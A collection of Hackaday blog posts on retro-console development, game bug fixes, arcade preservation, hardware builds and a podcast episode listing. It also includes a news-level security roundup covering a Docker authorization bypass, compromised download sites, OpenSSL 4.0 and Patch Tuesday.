Yes, it really is possible to design games for the original PlayStation using Unity and Lua. Using a tool called SplashEdit, you can whip up scenes, handle scripting, loading screens, create UIs, and do all the other little bits required to lash a game together. You can then run your creation via the psxsplash engine, deploying to emulator or even real hardware with a single click. Currently, development requires a Windows or Linux machine and Unity 6000.0+, but other than that, it’s pretty straightforward to start making games with a modern toolset for one of the most popular consoles of all time. Just remember, you’ve only got 33 MHz and 2MB of RAM to play with.

We still love to see the legendary grey machine get used and hacked in new and inventive ways, so many decades after release.

youtube.com/embed/eFv2Yi0Z6E0?…

Thanks to [Nick] for the tip!

hackaday.com/2026/04/18/psx-de…

Ever encountered a minor annoying bug in a video game? How about one dating back to 2018? Usually, you have no hope of fixing it, but this time is different. [Joey Cheerio] shows the first-time programmer approach to (with great difficulty) fixing a bouncy ball prop turning invisible when shot in Team Fortress 2.

It starts with a band-aid solution that hides the problem: just turn off jiggle physics! While that works, it also affects many other models in the game, and doesn’t tackle the root cause. Time to investigate. Because this ball often goes overlooked, [Joey Cheerio] didn’t even realize that it was supposed to have jiggle physics, accidentally removing it. Turns out, after scouring the internet for old footage, it’s supposed to jiggle after all.

Back to square one, [Joey Cheerio] infers that the jiggle bone accidentally removed was related to the problem, eventually figuring out that the specific type of jiggle bone used (is_boing) caused the issue. Time to dig in the code. Tracking down the problem is no small feat for someone who’s never programmed before, even with the help of LLMs, but eventually, at 4 in the morning, a breakthrough! The ball no longer turned invisible but retained the intended jiggle.

At the limits of his knowledge on the subject, [Joey Cheerio] posts his partial progress so far to GitHub, where [ficool2] tracks down the real problem and turns this second band-aid into a proper fix. [Joey Cheerio] finishes up by explaining the math of what exactly went wrong.

youtube.com/embed/-G9lwzYqsg4?…

hackaday.com/2026/04/18/how-on…

When Ridge Racer hit the arcades in the early 1990s, it came in a few different versions. The last variant used three large CRTs to create a wraparound display for the player. Incredibly rare, it’s believed that only a single-digit number of machines remain in existence. [beaumotplage] has secured a remaining example, and been working to preserve this historical artifact.

The first mission when it comes to this machine was to dump the ROMs, which have thus far not been preserved in any major archive. With that done, [beaumotplage] worked to hack a version of MAME that could emulate the Three Monitor Version’s unique mode of operation. As it turns out, each screen is driven by its own arcade board, with the three boards linked via C139 serial links. To emulate this, the trick was simply to write some C139 linkup code and run three versions of MAME all at once, letting them communicate with each other as the original boards would have. It’s a little janky in operation right now, but it does work!

You can download the hacked version of MAME for three-monitor operation here, though note that this does not include the ROM dumps from the machine itself. We look forward to seeing if the hardware ends up getting a full restoration back to operational standard, too.

Overall, this work goes to show that arcade preservation and archival work sometimes requires getting deep into the nitty-gritty technical stuff.

youtube.com/embed/GmyMT3oPO-g?…

hackaday.com/2026/04/18/three-…

There are two UNIVAC 1219B computers that have survived since the 1960s and one of them is even operational. [Nathan Farlow] wanted to run a Minecraft server on it, so he did. After a lot of work, of course, which is described in a detailed blog post, and, a YouTube video by [TheScienceElf] we’ve embedded below.

The UNIVAC is a seriously weird architecture by modern standards: it’s got eighteen-bit words — yeah, not even a power of two — and one’s compliment arithmatic with a weird signed zero thing going on. There’s one 36-bit and one 18-bit register, and only 40,960 words of memory. Eighteen-bit words. Yeah, it was the 1960s and they were making it up as they went along.

[Nathan] wasn’t, entirely, as this weird system is both well-documented and already had an emulator — in BASIC, of all things. [TheScienceElf] used the docs and the existing emulator to recreate his own in Rust so he could test their somewhat crazy plan without wasting cycles on real hardware. The plan? Well, there are really only two options if you want to build modern software for a niche architecture: one is to add niche support to something like GCC, and the other is to write a RISC V emulator and compile to that. We’ve seen that second one before, and that’s the route [Nathan] took.

Of course, [Nathan] is a machine learning guy, so he made the best possible use of LLMs — though it’s interesting to see that unlike Z80 Assembly, Claude Code really couldn’t wrap its virtual head around the UNIVAC’s assembly language, and [Nathan] had to bang out the RISC V emulator himself. Emulator in hand, [Nathan] and friends had code to run on the museum UNIVAC. A single frame of an NES game took 40 minutes, but hey, at least it finished before they got back from lunch.

[TheScienceElf]’s YouTube treatment teases hosting Minecraft, but it wasn’t a full server, just the login portion. That they were able to get TCP/IP over serial and set up a handshake between a 2020s laptop and a 1960s computer is still mighty impressive. Just the work the Vintage Computer Federation put in to get and keep this antique running is mighty impressive all on its own, but it’s wonderful they let people play with it.

youtube.com/embed/rU8sCbwB8XU?…

hackaday.com/2026/04/18/what-c…

There is a currently ongoing debate in the neuropsychology world about how we relate to the tools that we use. The theory of “tool embodiment” says that when we use some tools frequently enough, our brain recognizes them similarly to how it recognizes our own hands, for instance. There is evidence and counter-evidence from experiments with prosthetics, trash-grabber arms, and rubber dummy arms, just to name a few. It’s fair to say the jury is still out.

All I know is that today my trackball broke, and using a normal gaming mouse to edit the podcast was torture. It would be an exaggeration to say that I felt like I’d lost a hand, but I have so much motor memory apparently built up in my use of the trackball that switching over to another tool to undertake the exact same series of hundreds of small audio edits – mostly compensating for the audio delay across continents, but also silencing coughs and background noises – took an extra hour.

Anyone who has switched from one keyboard to another, or heck even from emacs to vim, knows what I experienced. My body just knows how to flick my wrist to make the cursor on the screen move over to the beginning of that “umm”. It’s not like I don’t conceptually know how to use a mouse either, and it does exactly the same job. But the mouse wasn’t my tool for this application. And saying that out loud makes it almost sound like I’m bordering on embodying my trackball.

I probably should have taken the trackball apart and replaced the bad tact switch on the left-click – that would have taken maybe twenty minutes – but I completely underestimated how integral the tool had become to the work. Anyway, as I write this, tomorrow is Saturday and I’ll have time to fix it. But today, I learned something pretty neat about myself in the process, even if I don’t think my single datapoint is going to rock the academic psych world.

This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on the web version of the newsletter. Want this type of article to hit your inbox every Friday morning? You should sign up!

hackaday.com/2026/04/18/tool-e…

[Jeremy Bell] loves scratching, but he had a problem. His Hercules DJ controller wasn’t really doing a great job at emulating the kind of action one would get with a real turntable. The solution was both mechanical and electronic in nature!

As stock, the Hercules MIDI rig lets you scratch in a relatively simplistic way. When it detects a finger touching the rotary control, it lets you scratch back and forth with great motion tracking. However, when you let go, playback resumes at regular speed instantaneously, which creates a somewhat inorganic sound.

The fix was to make some mechanical mods to the MIDI controller. [Jeremy] tried out a variety of different methods of using a motor to spin the rotary control continuously, from geared rigs to belt-driven setups. It was then possible to scratch on the controller, and then let it return to normal rotational speed, creating much smoother auditory transitions. However, this was imperfect, as for whatever reason, the Hercules rig would stop tracking the rotary control accurately unless it detected a finger was touching it. [Jeremy] worked around this by whipping up a slip-ring-like setup to keep his body permanently in contact with the rotary control even while spinning.

The results are pretty great—they’re both mechanically janky and fantastically satisfying to listen to. We’ve featured some other great DJ controller hacks over the years, like this sweet Pioneer UI upgrade.

youtube.com/embed/hw4GSFN6ctM?…

hackaday.com/2026/04/18/dj-con…

There’s something to be said for a simple wind-up, free flight model airplane. With no controls, it must be built very well to fly well, and with only the limited power of a rubber band, it needs a good, high-lift design without much superfluous drag to maximize flight time. There’s also something to be said for modernity though, and prolific hacker [Tom Stanton] puts them together with this supercapacitor plane.

If that sounds familiar, it’s because [Tom] did this before back in 2023. But for that first attempt he converted a commercial R/C toy rather than a plane optimized for low-power free flight. Just like with the best rubber-band machines, his goal for the new production is more flight time than winding time. Plus lots of views on YouTube, but that goes without saying.

Thus this machine is smaller and lighter than the previous iteration. Rather than balsa and tissue like the free-flight aircraft of our youths, [Tom] is using 3D printed plastic for the structure. But he’s got a neat hack built in: he’s printing the wings and control surfaces directly onto tissue paper, eliminating the bonding step. Of course that means his wings are printed flat, but a bit of heat and some bending and he has a single-surface airfoil. Single-surface airfoils are normal in this application, anyway: closed wings add too much weight for too little gain. If you want to try the technique, he’s got files on Printables.

Another interesting factoid [Tom] discovered is that the energy density of supercapacitors decreases sharply below 10 F. As you might imagine by the square-cubed law, bigger is better, but the sharp drop-off dictated he use a single 10 F cap for this build, along with a micro motor. Using the wind-up generator from his previous build, he’s able to get 45 seconds of flight out of just 4 seconds of cranking, a good ratio indeed.

[Tom] seems to like playing with different ways to power his toys; aside from supercapacitors, we’ve also seen him finessing aircraft air motors — including an attempt at a turbine for a model helicopter.

youtube.com/embed/-4X6KYlQ7YQ?…

hackaday.com/2026/04/18/electr…

Generally when a game console with an optical drive stops reading discs the first thing that people do is crank on the potentiometer that controls the power to the laser diode to ramp up its output. While this can be a necessary solution to eke out a bit more life out of a clearly dying laser diode, this can actually massively shorten the lifespan of a good diode that’s just held back by bad capacitors. This is demonstrated by [Skawo] with a fix on a GameCube that stopped reading discs.

While it’s absolutely true that laser diodes have a limited lifespan, so do the capacitors and other components in the system. Thus, after tearing down this Japanese GameCube, [Skawo] accesses the optical PCB for some delicate plier-based capacitor surgery. One can absolutely question such violence, as well as the replacement mix of MLCC ceramics and a stray THT electrolytic capacitor, but the results after reassembly are obvious.

Without having to adjust the laser diode’s potentiometer, the game console now happily reads the game disc while the laser diode breathes a sigh of relief. Although all GameCube consoles will face the inevitable demise of their optical drives – barring a replacement optical pickup solution appearing – with this capacitor replacement solution it’s at least possible to stave off that undesirable time for a bit longer.

youtube.com/embed/OOUZbz_Y7BU?…

hackaday.com/2026/04/17/fixing…

Those who have worked on a hobby operating system for x86 will have interacted with its rather complex and confusing interrupt model. [Evalyn] shows us why and how to use Flexible Return and Event Delivery (FRED), a new standard by the x86 Ecosystem Advisory Group.

Of course, it would be silly to omit the fact that Linux received patches first. But that isn’t the interesting part; after all, Linux is often the first place to have support for this kind of thing. No, what’s interesting is [Evalyn]’s implementation, to our knowledge among — if not the first — non-Linux operating system to support it.
The kernel confirming that FRED has been detected and enabled
To know why we should switch to FRED, we must first understand what it replaces. The Interrupt Descriptor Table (IDT) tells the CPU what code to run when certain interrupts or faults happen. The big problem that the IDT has is inconsistency, most egregiously the fact that the stack layout depends on which interrupt happened. To solve the issues with the IDT, FRED was created.

[Evalyn] shows us the process, starting at the documentation, then finding an emulator capable of it and culminating in a demo where DOOM runs in EvalynOS with FRED enabled.

Pentium II die shot. Martijn Boer, Public domain.

hackaday.com/2026/04/17/fred-c…

Although modern-day silvered glass mirrors have pretty much destroyed the market for bronze mirrors, these highly polished pieces of metal once were the pinnacle of mirror technology. Due to the laborious process required these mirrors saw use essentially only by the affluent. That said, how hard would it be to make a bronze mirror today with all of the modern technologies that even a hobbyist can acquire for their shed? Cue [Lundgren Bronze Studios] giving it a shot, starting by casting something flat-ish to start polishing.

Just getting that initial shape to start polishing is a chore, with hammering out the shape possibly being also a viable method. When casting metal it’s tricky to avoid having air bubbles and other defects forming, though using a sand mold seems to help a lot.

After you have the rough shape, polishing using power tools seems like cheating, but as you can see in the video even going from 50 to 8000 grit with a rotating disc left countless scratches. Amusingly, hand sanding did a much better job of removing the worst scratches, following which a polishing compound helped to bring out that literal mirror finish.

A quick glance at the Wikipedia entry for bronze mirrors shows that a tin-bronze alloy like speculum metal was used for thousands of years as it was much easier to polish to a good mirror finish. The metallurgy of what may seem like just a vanity item clearly goes deeper than just polishing up a metal surface.

youtube.com/embed/1x7hT55464g?…

hackaday.com/2026/04/17/making…

Cooking food with fire is arguably the technology that propelled humans to become the dominant species on Earth. It’s pretty straightforward to achieve, just requiring a fuel source, a supply of oxygen from the air, and a way to initiate the reaction; then it self-sustains. You wouldn’t think there’s much to improve, but what about cooking with plasma? [Jay] from the plasma channel is no stranger here, and he thinks that there may be something in this idea, certainly enough to actually build something.

Now, let’s be straight with you, this isn’t a new concept, and you can buy a plasma-based cooking appliance right now. But they are all AC-powered devices. What if you want to go camping? [Jay] attempts (and succeeds) in building a portable, rechargeable 600W plasma cooking device that can actually cook food, but it was not all plain sailing.

The existing off-the-shelf ZVS driver modules available were a bit weak and unreliable, and the required flyback coils were hard to find with the right specs, so he needed to get down to work building custom parts. First off, the coils. Custom formers were resin-printed and machine-wound with 4000 turns of fine wire, and then resin-sealed into the former. [Jay] takes care to explain that it is crucial to get all the air out of the windings, or else local flashover breakdown will occur and wreck the coil in a short time. We reckon the resulting coils look amazing in their own right!

We do love a nicely wound coil. Oooh!
Next, the ZVS drivers on hand had low-quality capacitors (well, not enough capacitance anyway) and cheap driver transistors, so both were upgraded. The initial plan was to have four driver/coil pairs, each driving a single pair of electrodes, with a common ground ring connecting them all. It turns out this was a terrible idea: the drivers were not synchronised, so they were pulling on each other, causing catastrophic damage to the PCBs in a very short time. The solution was more complicated wiring, to give each coil secondary output a dedicated electrode pair, so there was no direct electrical connection between neighbouring coils and no coupling between them. A clever electrode arrangement meant that a pan would sit on top of a ring of electrodes, causing plasma discharges to jump directly to the pan, thereby concentrating localised heating there. We were wondering how this new direct connection (the pan is now a common connection!) didn’t also cause backfeeding and kill the ZVS drivers again, but it didn’t seem to happen.
Bang, smell, oops. The copper is supposed to be stuck to the PCB.
Anyway, [Jay] demonstrates what is possibly the world’s first rechargeable, portable plasma cooker capable of making breakfast. Which we think is very important in its own right, however, we would like a plasma-based solution to making toast next, perhaps a plasma knife that cooks the bread as you slice it?

If this plasma cooking lark rings a bell, yes, we did touch upon this way back in 2017. And whilst not strictly plasma cooking, you can make an amazing microwave plasma in this ridiculously upgraded appliance. Definitely do not try that one at home.

youtube.com/embed/JtSYeftGUGE?…

hackaday.com/2026/04/17/cookin…

We’ve all had those times when your electrical device of choice is running low on battery. Sometimes you even plan ahead and are also carrying a battery pack, but what happens when you’ve forgotten to charge the battery pack? This is the problem that [Arnov Sharma] addressed with the SolMate, a portable solar panel that keeps a battery bank topped up.

The SolMate is built around an efficient 2 W photovoltaic panel that’s not much bigger than a cellphone. This panel can supply 5 V at 400 mA on a sunny day. The solar output is more than enough to keep the internal 2000 mAh battery topped up and ready for use. Charging the Li-ion battery is handled by an IP5306 power management chip, which pulls double duty: it safely regulates charging while boosting the battery’s 3.7 V to the 5 V expected at the USB charge ports. Speaking of charge ports, the SolMate includes both a USB-A and a USB-C port, plus a switch to enable or disable the unit.

The case is all 3D printed, with some clever design choices. Offsetting the bulk of the battery and PCB storage area to one side lets the SolMate naturally cant toward the sun. Even the clip used to attach it to a backpack is printed.

Be sure to check out the other entries into our latest challenge!

hackaday.com/2026/04/17/2026-g…

It’s the evening before publication, and a pair of Hackaday writers convene to record the week’s podcast. This week Elliot Williams is joined by Jenny List, and it’s a bumper episode!

Of course, a bit of Hackaday news makes the cut, as it’s time to make an entry in the Green Powered Challenge. Then we make the first of a couple of sojourns into AI, as we talk about the Linux kernel stance on AI code. In short: if you submit AI code you’re responsible for its bugs. Meanwhile out of this world, we look forward to a time when astronauts breathe oxygen from moon dust.

There are hacks aplenty for your enjoyment, starting with far more than you ever thought it was possible to know about sound-reactive LED strips. Then we have among others a Mac on an ESP32 forming the UI for a weather monitor, Doom on a toaster, and a fascinating look at screw threads for plastic.

In the longer reads we have our colleague [Tom Nardi] finding Chinese people’s personal data on hard drives he bought in an electronics store, and an attempt to look at what an LLM can do that might be useful. Grab your headphones, and join us!

html5-player.libsyn.com/embed/…

Download your own Podcast!

Where to Follow Hackaday Podcast

Places to follow Hackaday podcasts:

• iTunes
• Spotify
• Stitcher
• RSS
• YouTube
• Check out our Libsyn landing page

Episode 365 Show Notes:

News:

• New Linux Kernel Rules Put The Onus On Humans For AI Tool Usage
• From Lunar Dust To Breathable Air
  
  • LEGO Bricks: Now Out Of This World

  
  

• The Hackaday Green Powered Challenge

What’s that Sound?

• Congrats to [Sean rules] for guessing the pencil sharpener!

Interesting Hacks of the Week:

• Audio Reactive LED Strips Are Hard
• ESP32 Weather Display Runs Macintosh System 3
• An Electric Jellyfish For Androids
  
  • [likeablob]’s GitHub repositories

  
  

• New Display For Old Multimeter
• They Weren’t Joking: Gentoo WAS Ported To GNU Hurd
• Skylab Under The Ocean
• Using Metal Screws In Plastic Parts
  
  • No Need For Inserts If You’re Prepared To Use Self-Tappers

  
  

Quick Hacks:

• Elliot’s Picks:
  
  • DOOM On A Fancy Smart Toaster
  • By Our Calculations, You’ll Love The Flapulator
  • Flattening The Exhaust Of A Laser Cutter To Save Space

  
  

• Jenny’s Picks:
  
  • MotoGP Rubber = Better Climbing?
  • Upgrading A MacBook Neo Using A 1 TB IPhone NAND Flash
  • A Mercury Rover Could Explore The Planet By Sticking To The Terminator

  
  

Can’t-Miss Articles:

• hackaday.com/2026/04/15/a-tale…
• AI For The Skeptics: Pick Your Reasons To Be Excited
• AI For The Skeptics: Attempting To Do Something Useful With It

hackaday.com/2026/04/17/hackad…

Well, this might just be a Hackaday first. Certainly not the circuit sculpture part, nor the wearable aspect, but the glorious combination of the two. Behold [CMoz]’s Fashionably on Task: a Smart Bracelet for Forgetfulness. The name may be long, but the intent is concise: to showcase your top five must-dos for the day.

This lovely bracelet uses a tri-color e-paper display, and it’s WiFi enabled in order to receive input from the corresponding phone app. Although the cute pink ESP32-C3 is programmed in PlatformIO, the code will work with the Arduino IDE as well.

To get down to business, just power on the bracelet. If it can’t connect to the network you’ve hard-coded, it will broadcast it’s own access point. Connect with your phone to the custom web page, and Bob’s your uncle. From here, you can enter the tasks, change the colors around, mark tasks as complete, and remove tasks or reset recurring reminders.

The nifty part is that e-paper screen, since it will of course continue to display your list once powered down. Here’s the full code. Then you can deep-dive into the graph theory of circuit sculptures.

hackaday.com/2026/04/17/wearab…

CVE-2026-34040 lets attackers bypass some Docker authentication plugins by allowing an empty request body. Present since 2024, this bug was caused by a previous fix to the auth workflow. In the 2024 bug, the authentication system could be tricked into passing a zero-length request to the authentication handler. In the modern vulnerability, the system can be tricked into removing a too-large authentication request and passing a zero-length request to the authentication handler.

In both cases, the authentication system may not properly handle the malformed request and allow creation of docker images with access to stored credentials and secrets.

Bugs like these are increasing in visibility because AI agents running in Docker, like OpenClaw, may be tricked via prompt injection into leveraging the vulnerability.

Windows CPU Tools Compromised

videocardz.com notes that the popular Windows monitoring software Cpu-Z and HWMonitor appear to have been compromised. Reports indicate that the download site was compromised, not the actual packages, but that it was redirecting update requests to packages including malware. While the site has been repaired, unfortunately it looks like there is no warning to users that the downloads were compromised for a period of time.

Anecdotally, there has been a rash of Discord account takeovers in the past week, where long-standing accounts in multiple servers have been compromised and turned into spambots. While there is no evidence these events are linked, clearly a new credential or authentication stealing malware is in play, which involves stealing credentials from Discord.

X.Org and XWayland Updated

The X.Org and XWayland servers saw security updates this week, fixing a handful of vulnerabilities involving uninitialized memory use, use-after-free, and reading beyond the end of a buffer.

The vulnerabilities are generally classified as “moderate”, but of course, don’t leave known vulnerabilities when you can avoid it! Fixed releases should find their way into distributions soon.

OpenSSL 4.0 Released

OpenSSL released version 4.0 this week, adding support for Encrypted Client Hello / ECH / RFC9849 as well as deprecating some older SSL 2.0 behavior.

Encrypted Client Hello is a new enhancement to TLS (nee SSL) client handshake. When a client connects to a TLS server like a website, one of the first packets sent is the Client Hello which contains the TLS version, supported algorithms, and importantly, the server name the client is connecting to. Including the server name in the hello message allows modern multi-homed and cloud-based websites to function, because it indicates which web server and SSL certificate should be used to handle the request, but exposes the hostname the user is connecting to.

With ECH, the hello message is split into multiple messages, with the true hostname encrypted inside the second, inner message. The outer message allows routing the request to a server responsible for decrypting the inner communication and dispatching the request to the proper server. It is possible, for instance, for an ISP to see that a user has connected to a website on the Cloudflare infrastructure, but not which website hosted on Cloudflare.

For individual sites, the value of ECH is debatable – without a central server to dispatch to the specific hosts, the outer hostname is still readable – but for sites hosted behind load balancers, there is additional protection for users against identification of browsing habits. Although it brings extra complexity, adding new standards like ECH at least moves the needle towards better user privacy and protection by default.

Rockstar games breached (again)

Rockstar Games (of Grand Theft Auto and Red Dead Redemption fame) has been breached by a ransomware/extortion group. If this sounds familiar, in 2022 the company was breached and early GTA 6 gameplay was stolen.

This go around, the breach was actually of the data warehousing company Snowflake, via another service, Anodot. Used for cloud monitoring and analytics, Bleeping Computer reports that an Anodot breach was used to access Snowflake data, which is now used to extort Rockstar.

Rockstar says the data stolen does not impact players or the functioning of the company, and they will not be paying the ransom.

Linux Kernel Certificate OOB

Linux Kernel 7.0 releases this week, and includes a fix to out-of-bounds memory access in certificate handling. The fix is also being back-ported to stable and LTS kernel versions (Linux 6.4, 6.6 LTS, 6.12 LTS, 6.18 LTS, and 6.19) so be on the lookout for updates!

The out-of-bounds bug lies in the kernel keyring API; any user on the system can submit an invalid certificate to the kernel keyring. In this specific case the impact seems limited to a kernel crash instead of arbitrary privilege escalation.

NIST no Longer Enriching CVE

The NIST organization is no longer enriching CVE entries in the National Vulnerability Database, except for those in the Known Exploited Vulnerabilities catalog, used in federal government, or those in designated critical software. Previously, the NIST NVD provided additional information and severity rankings for reported vulnerabilities. Citing a lack of funding and an overwhelming number of reported vulnerabilities, they will no longer provide updated severity scores or details.

It’s understandable, but a net loss to the security community, and the Internet at large, when we lose analysis and commentary on risks. CVE details and risks are often self-assigned by the vendor, which can lead in some cases to a culture of “malicious compliance” where the released information is technically correct and complete, but contains little or no actual detail and assumes the least impactful interpretations. Third-party evaluation and classification by organizations like NIST offered additional context and analysis to identify the truly critical reports.

Patch Tuesday, Everybody Panic!

OK – don’t actually panic, but if you’re a Microsoft user, you already know. This month’s Patch Tuesday — the scheduled day for Microsoft updates, for anyone lucky enough not to have to observe — includes over 160 security updates. This makes it the second largest Patch Tuesday ever. It includes a fix to the publicly available Bluehammer exploit for bypassing Windows Defender, and over 60 patches for browser vulnerabilities.

Additionally, Chrome published fixes for 20 vulnerabilities, and Adobe published fixes for Reader, with evidence on both that the bugs are already being publicly exploited.

This is your monthly reminder to stay on top of security updates whenever they are available, on whatever platform you use. Unknown zero-day exploits might get all the attention, but outdated software with known, patched bugs can be the biggest vector for exploits and malware. Once a bug is known and patched, there is no reason to save the exploit for targeted attacks; the days and weeks after a bug is publicly fixed can be a wave of automated exploits, and many of the largest attacks use vulnerabilities fixed weeks or months prior.

Botconf Talks Streaming

Finally, a quick aside for anyone interested in pursing more related content, the Botconf EU conference about fighting botnets and malware is streaming the conference content; by the time this post goes live the conference is likely to be concluded, but the talk streams are accessible!

hackaday.com/2026/04/17/this-w…

You probably don’t spend a lot of time using the FAT32 file system anymore, since it’s thoroughly been superseded many times over. Even so, Microsoft has seen fit to deliver an upgrade for FAT32 for the latest Windows 11 Insider Preview build. Finally, the stock Windows tools will let you format a FAT32 drive up to 2 TB instead of locking you to a 32 GB maximum!

The size limit was never baked into the FAT32 spec itself. With a 32-bit field for counting sectors, the file system supports up to 2 TB volumes with 512-byte sectors. However, as explained by former Microsoft developer [Dave Plummer], it just so happened that the 32 GB limit came about because of a random decision made when slapping together the Format dialogue box over 30 years ago.

The pending change was first announced in 2024, affecting the command line format tool as well. It’s actually been possible to create larger FAT32 volumes for some time, you just couldn’t easily do it with Microsoft’s standard formatting tools.

FAT32 is still a terrible file system to use in 2026, mostly because it has a hard limit on file size that tops out at 4 GB. It’ll ruin your life if you’re shooting HD or 4K video. We often don’t spend a lot of time musing over file systems in detail, but they’re right at the heart of everything we do on our computers on a daily basis. Sometimes, it bears thinking about!

hackaday.com/2026/04/17/micros…

Unlike the current era where most consumer electronics are black rectangles, or the early 90s where most consumer electronics were black rectangles, we got a brief glimmer of color, light, and hope in the 2000s. Cell phones had all kinds of shapes and sizes, laptops came in bright colors, and even video game consoles got in on the fun. The Nintendo GameCube not only featured its namesake shape but came in several vibrant colors, most famously a bright purple. In fact, its design was such a hit that it continues to inspire artists and console modders alike. An animator named [kidd.gorgeous] recently envisioned a GameCube as a hot tub, and [BigRig Creates] set out to make this animation a reality.

Of course, this won’t be a life-sized hot tub capable of holding a human, but [BigRig Creates] did want it to be a usable, playable Game Cube with all of the features from the animation present in the final version. Since the lid won’t be operational with a hot tub model on the top lest all of the water spill out every time a game is changed, he’s modified it with some modern tools to hold his games inside the console itself. With the case open he’s also added the LED accent lighting featured in the animation as well as added the 3D-printed hot tub to the top. The hot tub is filled with mineral oil for electronics safety, and has a small pump built in to give the appearance of a working hot tub.

The buttons around the outside are functional as well, toggling the various lighting features and hot tub operation. And of course, the console diorama is fully playable, with the staircase railing able to easily detach in order to access the leftmost controller ports. It’s a faithful adaptation of the original animation, and [BigRig Creates] has a few games on queue that are properly themed for the new hot tub addition like Wave Race 64, Super Mario Sunshine, and Pool Paradise.

youtube.com/embed/o41ASRbf7Ns?…

hackaday.com/2026/04/17/game-c…

Kei trucks are some of the smallest commercial vehicles out on the roads today. You can also get lots of cute kei RC cars if you’re into the toy side of things. [Victor] wanted to split the difference with Truck-Kun, and built a 1:3 scale kei truck to show off at a recent anime convention.
The truck is modelled on the Suzuki Carry.
The build started with a classic hacker favorite—a bunch of old hoverboard motors. These brushless hub motors are pretty easy to drive and have plenty of torque right out of the box. A simple ladder frame was whipped up with a hoverboard wheel at each corner, with a body whipped up out of cardboard, paint, and a few 3D printed parts to hold everything together.

Steering was courtesy of a leadscrew and stepper motor from an old 3D printer. RP2040s were thrown in to talk to the motor controllers, while an ESP32-S3 was charged with communicating with an Xbox One controller to receive directional commands.

It was a neat build that stood tall over most any other kei RC car at Anime Los Angeles. Only, it ended in tears when the 100-pound machine accidentally drove at full throttle into a wall and smashed itself to pieces. Still, that’s just an excuse for [Victor] to build a better one for next year.

We love a good RC build around these parts, and we love kei trucks too.

hackaday.com/2026/04/16/buildi…

That boiling water is a contentious topic of discussion is clear, but what about hot air? When you take a 12 VDC, 280 Watt-rated air fryer and pit it against a bog-standard 240 VAC, 1400 Watt unit, which one would you want to use when you’re doing some camping or other exciting off-the-grid opportunities? Unlike with boiling water the physics aren’t as clear-cut here, so [Cahn] did some testing to figure out exactly what the efficiency numbers look like

Since air fryers rely on the transfer of thermal energy from the resistive heating element into the food, any thermal energy that’s not immediately transferred is effectively wasted. This, combined with the relatively low power rating and thus much higher time demand of the low-voltage air fryer is enough to set one’s expectations pretty low.

As scientific test samples chicken nuggets were used with the test, following a preheating period for the 12 VDC unit. Both units managed to hit a safe temperature inside the nuggets after 20 minutes, thus successfully staving off food poisoning, but the browning with the 240 VAC air fryer was much better.

As for the efficiency, the 12 VDC unit required 150 Wh for 20 minutes plus the 10 minutes of preheating, with 45 minutes total at 225 Watt to get proper browning. Meanwhile the 240 VAC unit burned through 250 Wh in 20 minutes, with no pre-heating, though only 230 Wh with no inverter losses included. As a final test, the 12 VDC unit was run at 400 Watt using 14.6 VDC input, which did indeed get it up to temperature much faster.

Thus both are equivalent, just with the caveat that the low-voltage unit will take considerably more time to get the same result. This mirrors the results with boiling water, where most options mostly vary in how much time they require to get water up to a boiling temperature.

youtube.com/embed/AOX84t2XeBg?…

hackaday.com/2026/04/16/compar…

It’s fair to say that there are a lot of development board form factors for MCUs, with [Tech Dregs] over on yonder YouTube on the verge of adding another one to the pile, but not before he was having some serious thoughts on the implications of such a decision. Does this world really need another devboard with the ubiquitous 2.54 mm (0.1″) pitch pin headers, all so that it can perhaps be used in the same traditional 2.54 mm pitch breadboards?

The thought that [Tech Dregs] is playing with is to go for something more akin to the system-on-module (SoM) approach that’s reminiscent of the Raspberry Pi compute module form factor. This means using a 1 mm pitch for the headers and castellated edges in case you want use it as an SMT part, while breaking out many more pins of the onboard ESP32 module in far less space.

Obviously, the main advantage of this approach is that much like with compute modules you can leave most of the tedious cheap stuff on a carrier board, while the expensive to manufacture components are on a self-contained module. Meanwhile with the much finer pitch on the SoM contacts it’d straddle the divide between a 2.54 mm breadboard-capable devboard and a fully custom PCB, while making any mistakes on the carrier board much cheaper to redo.

The counterpoint here is of course that something like an ESP32 module is already a module with a finer pitch, but if you need more than just what it offers, or you want to use an STM32 or RP MCU across boards it could make a lot of sense.

Having 1 mm pitch breadboards would honestly also be rather nifty, natch. That said, what are your thoughts on this matter?

youtube.com/embed/M5CRB4CLbZU?…

hackaday.com/2026/04/16/do-we-…

Oscilloscopes and to lesser extent signals generators are useful tools for analyzing, testing and diagnosing circuits but we often take for granted how they work. Luckily, [FromConceptToCircuit] is here to show us how they’re made.

[FromConceptToCircuit] starts by selecting the hardware to use: an Artix-7-based FPGA and an FT2232 USB-serial converter. RS245 in synchronous FIFO mode is selected for its high bandwidth of about 400 Mbps. Then, they show how to wire it all up to your FPGA of choice. Now it’s time for the implementation; they go over how the FT2232 interfaces with the FPGA, going through the Verilog code step-by-step to show how the FPGA makes use of the link, building up from the basic transmission logic all the way up to a simple framed protocol with CRC8-based error detection. With all that, the FPGA can now send captured samples to the PC over USB.

Now it’s PC-side time! [FromConceptToCircuit] first explains the physical pipeline through which the samples reach the PC: FPGA captures, transmits over RS245, FT2232 interfaces that with USB and finally, the software talks with the FT2232 over USB to get the data back out. The software starts by configuring the FT2232 into RS245 mode, sets buffer sizes, the whole deal. With everything set up, [FromConceptToCircuit] explains how to use the FT2232 driver’s API for non-blocking communication.

As a bonus, [FromConceptToCircuit] adds a signal generator feature to the oscilloscope using an I2C DAC chip. They start by explaining what exactly the DAC does and follow up with how it’ll be integrated into the existing system. Then it’s time to explain how to implement the I2C protocol bit-for-bit. Finally combine everything together for one final demo that shows a sine wave on the DAC’s output.

hackaday.com/2026/04/16/fpga-p…

While it might seem quaint these days, we’ve met many makers and hackers who reach for a pen and a pad when learning something new or working their way through some technical problem. But even if you’re the type of person who thinks best when writing something out on paper, there’s still a good chance that you’ll eventually want to bring those notes and sketches into the digital realm. That’s where things can get a little tricky.

[Spencer Adams-Rand] recently wrote in with his clever solution for capturing written notes and pushing them into Notion, but the hardware design and digitization workflow is flexible enough that it could be adapted to your specific needs — especially since he was good enough to release all the files required to build your own version.

Whether they are hand-written notes, old photographs, or legal documents, digitization boils down to taking a high resolution digital photo of the object and running it through the appropriate software. But getting good and consistent photos is the key, especially when you’re working your way through a lot of pages. [Spencer] started out just snapping pictures with his phone, but quickly found the process was less than ideal.

